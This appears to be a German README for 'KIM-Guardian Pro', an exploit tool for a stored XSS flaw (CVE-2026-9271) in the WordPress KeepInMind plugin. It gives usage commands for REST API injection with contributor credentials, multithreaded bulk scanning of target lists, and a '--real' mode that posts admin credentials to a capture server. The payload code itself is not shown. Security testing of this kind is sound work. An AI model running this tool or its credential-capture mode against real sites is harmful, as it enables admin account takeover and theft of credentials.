
Autorisiertes Tool zur Bewertung von gespeichertem XSS für CVE-2026-9271 im WordPress KeepInMind-Plugin. Erkennt anfällige Versionen, injiziert sichere Test-Payloads und unterstützt Bulk-Scans mit SQLite-Berichterstattung.
Autorisiertes Sicherheitsbewertungstool für CVE-2026-9271
Autor: Sudeepa Wanigarathna · Tool: KIM-Guardian Pro v1.0
Hauptskript: CVE-2026-9271.py

[!IMPORTANT] Nur für autorisierte Nutzung. Dieses Tool dient der Sicherheitsforschung, Bildung und dem Testen von Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Überprüfung haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
CVE-2026-9271 ist ein gespeichertes Cross-Site-Scripting (XSS) Problem im WordPress-Plugin KeepInMind (Dashboard Notes). Unzureichende Bereinigung von Notizeninhalten ermöglicht es einem niedrig privilegierten authentifizierten Benutzer (Contributor+), HTML/JS zu speichern, das im Browser eines Administrators ausgeführt wird, was zu einer Kompromittierung der Admin-Sitzung / Kontolibernahme führen kann.
KIM-Guardian Pro (CVE-2026-9271.py) ist ein Python-Bewertungstool für autorisierte Tester, um:
reports/ zu speichern| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2026-9271 |
| Angriffsvektor | Authentifiziert (Contributor+) → Stored XSS → Admin-Auswirkung |
| Auswirkung | XSS im Admin-Browser; mögliche Kontolibernahme in verwundbaren Installationen |
| Betroffenes Produkt | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Betroffene Versionen | ≤ 0.8.4.2 (korrigiert in 0.8.4.3+) |
| Schwachstellentyp | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 (Unzureichende Neutralisierung von Eingaben während der Generierung von Webseiten) |
| Oberfläche | Rolle |
|---|---|
/wp-json/keepinmind/v1/notes | REST-API zum Erstellen/Lesen von Notizen |
/wp-admin/ | Admin-Dashboard, in dem gespeicherte Notizen gerendert werden können |
| Plugin-Pfad | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Fähigkeit | Beschreibung |
|---|---|
| Plugin-Erkennung | Überprüft KeepInMind-Installationspfade und Versionsstrings |
| WordPress-Version | Extrahiert Generator-/Versionsmetadaten, falls verfügbar |
| Sicherer Testmodus | Standard-Overlay-Marker, der XSS beweist, ohne Credentials zu erfassen |
| Authentifizierte Bewertung | Login mit Contributor+-Anmeldedaten für vollständige REST-Injektion |
| Payload-Bereinigung | Entfernt injizierte Notizen nach der Bewertung |
| Massen-Scanning | Multithreaded URL-Listen-Scan auf Plugin + verwundbare Version |
| SQLite-Verlauf | Speichert Bewertungen in kim_guardian.db |
| Textberichte | Schreibt mit Zeitstempel versehene Berichte unter reports/ |
| Capture-Server | Optionaler lokaler HTTP-Listener für Lab-Credential-Capture-Übungen |
| Web-UI | Optionales Flask-Dashboard (web-Modus) |
| Fähigkeit | Beschreibung |
|---|---|
| Ausführliche Protokollierung | Datei- + Konsolen-Debug unter logs/ |
| Proxy-Unterstützung | Verkehr über Burp oder andere HTTP-Proxys leiten |
| Konfigurierbares Timeout | Timeout pro Anfrage (Standard 30s) |
| Worker-Pool | Einstellbare Parallelität für Massen-Scans |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Empfohlene Extras, die von diesem Skript verwendet werden:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — nur Web-Modus
Ersetzen Sie
https://lab.exampledurch ein Labor- oder autorisiertes Ziel.
# Hilfe / Modi
python3 CVE-2026-9271.py --help
# Sichere Einzelzielbewertung (Standard: Test-Payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Massen-Versions-/Plugin-Scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Letzte Bewertungen aus SQLite auflisten
python3 CVE-2026-9271.py db --list --limit 20
# Lokaler Capture-Server (nur Labor)
python3 CVE-2026-9271.py capture --port 5000
# Optionales Web-UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
Der Standardmodus verwendet ein nicht erfassendes Test-Overlay. Geben Sie Contributor+-Anmeldedaten für die Injektion über die REST-API an.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Ablauf:
-u / -p angegeben)--no-cleanup)reports/kim_assessment_*.txt speichernpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Erfordert eine Angreifer-/Capture-Basis-URL und --real. Bevorzugt Capture auf localhost für Labore behalten.
# Terminal 1 — Capture-Listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — Bewertung mit Capture-Endpunkt
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Capture-UI (wenn Server läuft):
| Pfad | Zweck |
|---|---|
/ | Capture-Server-Statusseite |
/capture | POST-Endpunkt für Formularübermittlungen |
/captured | Kürzlich erfasste Einträge (Labor-Überprüfung) |
# targets.txt — eine URL pro Zeile
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Oder kommagetrennte URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Massenprüfungen umfassen typischerweise WordPress-Hinweise, KeepInMind-Version, REST-Erreichbarkeit und Vorhandensein von wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Aus Sicherheitsgründen standardmäßig an localhost binden.
| Modus | Beschreibung |
|---|---|
assess | Einzelziel-KeepInMind-Bewertung |
bulk | Mehrziel-Plugin-/Versions-Scan |
capture | Lokaler Credential-Capture-HTTP-Server |
web | Optionales Flask-Web-UI |
db | Gespeicherte Bewertungen auflisten |
assess| Argument | Standard | Beschreibung |
|---|---|---|
url | erforderlich | Ziel-WordPress-URL |
-u, --username | — | WordPress-Benutzername (Contributor+) |
-p, --password | — | WordPress-Passwort |
-a, --attacker | — | Capture-Server-Basis-URL (Labor-Simulation) |
-t, --test | an | Sicheres Test-Payload bevorzugen |
-r, --real | aus | Labor-Angriffs-Payload aktivieren (benötigt --attacker) |
--no-cleanup | aus | Injizierte Notizen belassen |
-v, --verbose | aus | Ausführliche / Debug-Protokollierung |
--timeout | 30 | Timeout pro Anfrage (Sekunden) |
--proxy | — | Proxy-URL (z.B. http://127.0.0.1:8080) |
bulk| Argument | Standard | Beschreibung |
|---|---|---|
-f, --file | — | Datei mit URLs (eine pro Zeile) |
-u, --urls | — | Kommagetrennte URLs |
-w, --workers | 5 | Thread-Pool-Größe |
-o, --output | bulk_scan_results.txt | Berichtspfad |
capture| Argument | Standard | Beschreibung |
|---|---|---|
--port | 5000 | Lauschport |
web| Argument | Standard | Beschreibung |
|---|---|---|
--host | 127.0.0.1 | Bindungsadresse |
--port | 8080 | Lauschport |
db| Argument | Standard | Beschreibung |
|---|---|---|
--list | aus | Letzte Bewertungen auflisten |
--limit | 10 | Maximale Anzahl anzuzeigender Zeilen |
Farbcodierter Status für Authentifizierung, Plugin-Erkennung, Injektion, Verifizierung und Bereinigung.
Erfolgreiche assess-Läufe schreiben Dateien wie:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| Datei | Zweck |
|---|---|
kim_guardian.db | Bewertungsverlauf (Ziel, Versionen, Schwachstellen-Flag, Risiko, Dauer) |
| Pfad | Zweck |
|---|---|
logs/kim_pro_*.log | Anwendungslogs pro Lauf |
| Symptom | Was zu tun ist |
|---|---|
| Authentifizierung fehlgeschlagen | Contributor+-Anmeldedaten bestätigen; /wp-login.php prüfen; -v verwenden |
| Plugin nicht erkannt | KeepInMind-Pfad/-Namen überprüfen; ausführlichen Modus versuchen |
| REST-Injektion fehlschlägt | Authentifizierung + Nonce bestätigen; mit --proxy durch Burp inspizieren |
| Timeout / Verbindungsfehler | --timeout erhöhen; Netzwerk / TLS / Proxy prüfen |
| Keine Schwachstelle im Testmodus | Version ≤ 0.8.4.2 bestätigen; sicherstellen, dass Notizen für Admin gerendert werden |
Flask fehlt im web-Modus | pip install flask |
| BeautifulSoup fehlt | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── kim_guardian.db # SQLite-Bewertungsverlauf (generiert)
├── logs/ # Laufzeitlogs (generiert)
├── reports/ # Bewertungstextberichte (generiert)
└── venv/ # Lokales Virtualenv (optional)
Dieses Projekt wird wie besehen für defensive Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt.
Durch die Nutzung dieser Software stimmen Sie Folgendem zu:
Wenn Sie dieses Problem in Produktionssystemen finden, die Ihnen nicht gehören, befolgen Sie die verantwortungsvolle Offenlegung gegenüber dem Seitenbetreiber und dem Plugin-Maintainer.
Unbefugter Zugriff auf Computersysteme ist illegal.
| Rolle | Name |
|---|---|
| Tool-Autor | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Tool | KIM-Guardian Pro v1.0 |
| Hauptskript | CVE-2026-9271.py |
| Lizenz | Pädagogisch / Defensive Nutzung |
Nur für pädagogische / defensive Nutzung
Copyright (c) 2026 Sudeepa Wanigarathna
Die Erlaubnis wird erteilt, diese Software für autorisierte Sicherheitsforschung,
Bildung und defensive Bewertung zu verwenden.
DIE SOFTWARE WIRD "WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER
IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE
GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND
DER NICHTVERLETZUNG VON RECHTEN DRITTER.
Nur für autorisierte Sicherheitstests.